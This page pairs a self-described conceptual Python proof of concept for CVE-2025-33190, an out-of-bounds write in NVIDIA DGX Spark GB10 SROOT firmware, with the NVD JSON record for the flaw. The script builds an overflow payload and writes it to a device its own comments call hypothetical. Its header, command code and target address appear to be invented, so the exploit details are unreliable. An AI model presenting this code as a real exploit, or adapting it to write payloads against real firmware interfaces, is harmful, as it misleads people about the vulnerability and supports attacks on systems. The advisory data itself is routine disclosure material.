CVE-2025-33190

# CVE-2025-33190 PoC - Conceptual Proof of Concept # Note: This is a conceptual demonstration for educational purposes only # Actual exploitation requires physical/local access to NVIDIA DGX Spark GB10 import struct import sys def generate_malicious_sroot_payload(): """ Generate conceptual payload for SROOT firmware vulnerability This demonstrates the out-of-bound write concept """ # SROOT firmware header header = b'SROOT\x00\x00\x00' # Command type: trigger OOB write cmd_type = struct.pack('<I', 0x1001) # Malicious payload causing buffer overflow # This would overwrite adjacent memory regions overflow_size = 0x1000 # Overflow size overflow_data = b'A' * overflow_size # Target address manipulation (conceptual) target_addr = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) payload = header + cmd_type + target_addr + overflow_data return payload def send_sroot_command(payload): """ Send malicious payload to SROOT firmware interface Requires: Local access + High privileges """ # Conceptual device interface sroot_device = '/dev/sroot0' # Hypothetical device try: with open(sroot_device, 'wb') as f: f.write(payload) print('[+] Malicious payload sent to SROOT firmware') return True except PermissionError: print('[-] Error: Insufficient privileges (PR:H required)') return False except FileNotFoundError: print('[-] Error: SROOT device not found') return False if __name__ == '__main__': print('CVE-2025-33190 Conceptual PoC') print('Target: NVIDIA DGX Spark GB10 SROOT Firmware') print('Vulnerability: Out-of-Bound Write') print('-' * 50) payload = generate_malicious_sroot_payload() print(f'[*] Generated payload: {len(payload)} bytes') print('[*] Attempting to send payload...') send_sroot_command(payload)

{"cve": {"id": "CVE-2025-33190", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:50.500", "lastModified": "2025-12-02T18:19:45.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware where an attacker could cause an out-of-bound write. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, or escalation of privileges."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en el firmware SROOT donde un atacante podría causar una escritura fuera de límites. Un exploit exitoso de esta vulnerabilidad podría llevar a la ejecución de código, manipulación de datos, denegación de servicio o escalada de privilegios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33190", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33190", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}